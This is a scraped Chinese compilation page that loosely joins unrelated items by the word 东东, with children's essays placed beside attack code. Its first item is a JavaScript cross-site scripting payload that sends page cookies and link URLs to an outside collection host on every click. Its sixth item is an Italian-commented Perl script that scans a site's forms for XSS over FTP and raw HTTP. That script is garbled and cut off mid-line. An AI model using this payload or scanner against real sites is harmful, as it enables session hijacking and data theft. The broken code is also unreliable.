“粑粑公主”通过精心收集,向本站投稿了10篇跨站的一个东东,下面是小编精心整理后的跨站的一个东东,仅供参考,大家一起来看看吧。

篇1:跨站的一个东东
teN.potgnayiaH.wwW vbs小铺
//这东东几乎全是老马写得,呵呵
//获得当前页信息
document.onclick = function(e){
var img = new Image;
var e = e || event;
var element = e.target || e.srcElement;
if(element.tagName.toLowerCase() == “a”){
if(!element.getAttribute('visited'))
{
img.src='192.168.0.12/getcd.asp?var='+element.href+location.href+encodeURI(document.cookie);
element.setAttribute('visited', true);
}
}
}
//获得子框架信息
window.onload = function(){
var img=new Image();
for(var i = 0; i < document.frames.length; i++)
{
for(var j = 0; j < document.frames[i].document.links.length; j++)
{
document.frames[i].document.links[j].onclick = function()
{
if(!this.getAttribute('visited'))
{
img.src='192.168.0.12/getcd.asp?var='+this.href+top.location.href+encodeURI(document.cookie);
this.setAttribute('visited', true);
}
}
}
}
}
篇2:东东和大白鹅作文
东东和大白鹅作文
一只白鹅跑了,东东想抓它.于是,他就在后面追呀追,哎呀!白鹅一下跳进了河里,怎么办呢?东东也跳到河里.但是,东东不会游泳,他就大声的喊救命啊!救命啊!白鹅听见了马上跑过去,把东东救上来.东东很感动,说:大白鹅,我以后再也不欺负你了.东东和大白鹅作文100字中国大学网小学生作文频道。

篇3:东东小朋友日记
东东小朋友日记
今天,我和东东小朋友玩。我非常不高兴,特想骂他,还想打他!大家知道为什么吗?
当当当当!虽然他才6岁,但是他不太懂事,会随意乱拿人家的东西。我给他玩我家的钓鱼游戏机的时候,他居然从自己口袋里掏出了一条小鱼。而且,他想要什么,就趁别人不注意的时候装到口袋里!这还不算什么呢!他还拿了我的迷你版小勺子,故意在我弟弟面前晃。我告诉过他好几遍了,不要在我弟弟面前引他。我弟弟要的话,就必须得给他的。可东东就是不听。你看,现在我弟弟要了,他却不给我弟弟,还好意思哭呢!你说烦不烦?我看得头皮发麻!
我带他玩平板电脑,他老是在我耳边吵我,嗡嗡嗡的,一会儿问我玩什么游戏,一会儿又问我这个游戏怎么玩……还对我说这个游戏不好玩!你说我火不火?烦不烦?换做是你呢?肯定早就耐不住了吧!
我在看《蜡笔小新》的时候,他又要看《变形金刚之爆裂飞车》。不给他放吧,他就烦我,一直吵我!好,我给他放,放了他又不看,又去玩我的.平板电脑了。我要把电视调成QQ音乐。本来听的好好的,他突然又要听《洗澡歌》,我帮他搜,我搜不到。他又不乐意了,还打我。我还了他一击,说:“凭什么打我?搜不到又不能怪我喽!”他居然说出一句脏话:“关你屁事!”我送给他一句话:“小小就学坏,长大不成材!”
你们说,碰上这样的“小东西”,气人不气人?
篇4:东东变了作文
东东变了作文
星期六,小红想去公园玩。于是爷爷就陪小红一起去了。 在车上小红做着正舒服着呢。车子在一个地方停了下来。这时上来了一个拄着拐杖的小男孩。一位白发苍苍的老奶奶说:“孩子,做我这里吧。”小红见了,忙说:“哥哥,还是做我这里吧。”小男孩慢慢的挪到了小红身边,小红起身把座位让给了他。东东瞄了他一眼,想:做着多舒服啊,算你走运,不然你还得站着呢。 车开着开着,突然一个急刹车。小红摔了一交。小男孩看见了,急忙把小红扶起来。东东想:不行,我要把座位让给这个小妹妹。东东便对小红说:“小妹妹你做我这里吧。我比你站得稳些。”小妹妹谢过东东于是就做了下来。东东这时虽然没开始坐着舒服了,但他的'心里却说不出来的舒服。 东东真的变了。 东东变了作文250字篇5:我这个东东
我是上帝所创造的,以下是上帝制造我时对我的构造清单:
江湖人称:张谢军
出生地点:中国广东一个医院里
性 别:和爸爸一样
所属帮派:丐帮(学生嘛,口袋里没有几个钢蹦儿)
所习武功:一指神功(练手上的劲儿,飞速写作业)
最喜欢的动物:人类
长相特征:同样是两只眼睛一个鼻子一张嘴的'人类。只是眼睛略小,一副保护膜似的眼镜,嘴唇因充满活动使其血脉畅通。
上帝既然创造了我,就一定让我有特别之处:
我这个东东,嘴里没有东西磕巴就上网找人聊聊;
我这个东东,眼睛没地儿眨巴了就找本书来消磨消磨;
我这个东东,手痒痒了就拿起笔来在纸上挠挠;
我这个东东,肚子空了就找些“墨汁”来填填:
我这个东东,脑子涨了就在电脑键盘上敲敲;
我这个东东,耳朵难受了就打开音响舒服舒服;
我这个东东,腿僵了就在教室与办公室之间跑跑;
我这个东东,信心的沙漏添满了就鼓起勇气去上台赛赛;
我这个东东,被孤独占据了就找个朋友来陪陪;
我这个东东,成功了就不要过分的嘉奖只是鼓起掌拍拍;
我这个东东,就算是失败了也会关上身后的门让一切重来;
篇6:一个不错的跨站脚本
#!/usr/bin/perl
use IO::Socket;
use Net::FTP;
$host = shift or die “Usage: perl $0
[
$user = shift or die “Usage: perl $0
[
$pass = shift or die “Usage: perl $0
[
$log_file = shift;
$ftp=Net::FTP->new($host) or die “Impossibile connettersi a $host.n”;
$ftp->login ($user, $pass) or die “Errore durante il login.n”;
@file = $ftp->ls ;
$cont4 = 0;
$log = “Scansione sito: $hostn”;
while ($cont4 < scalar (@file)){
my $sock = new IO::Socket::INET (
PeerHost => $host,
PeerPort => “80”,
Proto => “tcp”,
) or die “Impossibile connettersi a $host: $!n”;
$page = “”;
print $sock “get /@file[$cont4]nn”;
while (<$sock>){
$page .= $_;
}
my (@variabili, @var_method);
$cont2 = 0;
$cont = 0;
while ($cont <= length ($page)){
if ($page =~ /
$method = $2;
$page =~ /
$cont5 = 0;
$in_form. = $1;
while ($cont5 <= length ($in_form)){
if ($in_form. =~ /<(input|textarea).+?name.+?('|“)(.+?)(”|')/){
@variabili [$cont2] = $3;
@var_method [$cont2] = $method;
$in_form. =~ s/<(input|textarea).+?name.+?('|“)(.+?)(”|')/done/;
}
$cont5++;
}
$page =~ s/
}
$cont++;
}
close ($sock);
$cont3 = 0;
while ($cont3 < scalar (@variabili)){
my $sock = new IO::Socket::INET(
PeerHost => $host,
PeerPort => “80”,
Proto => “tcp”,
) or die “Impossibile connettersi a $host.n”;
if (@var_method[$cont3] == “GET”){
print $sock “get /@file[$cont4]?@variabili[$cont3]=nn”;
}
elsif (@var_method[$cont3] == “POST”){
$var = “@variabili[$cont3]=”;
$to_send = “POST /paginan”.
“Host: $hostn”.
“Content-Type: application/x-www-form-urlencodedn”.
“Content-Length: ”.length($var).“nn”.
$var.“nn”;
print $sock $to_send;
}
else {
die “@var_method[$cont3]: Metodo sconosciuto.n”;
}
$page2 = “”;
while (<$sock>){
$page2 .= $_;
}
if ($page2 =~ /









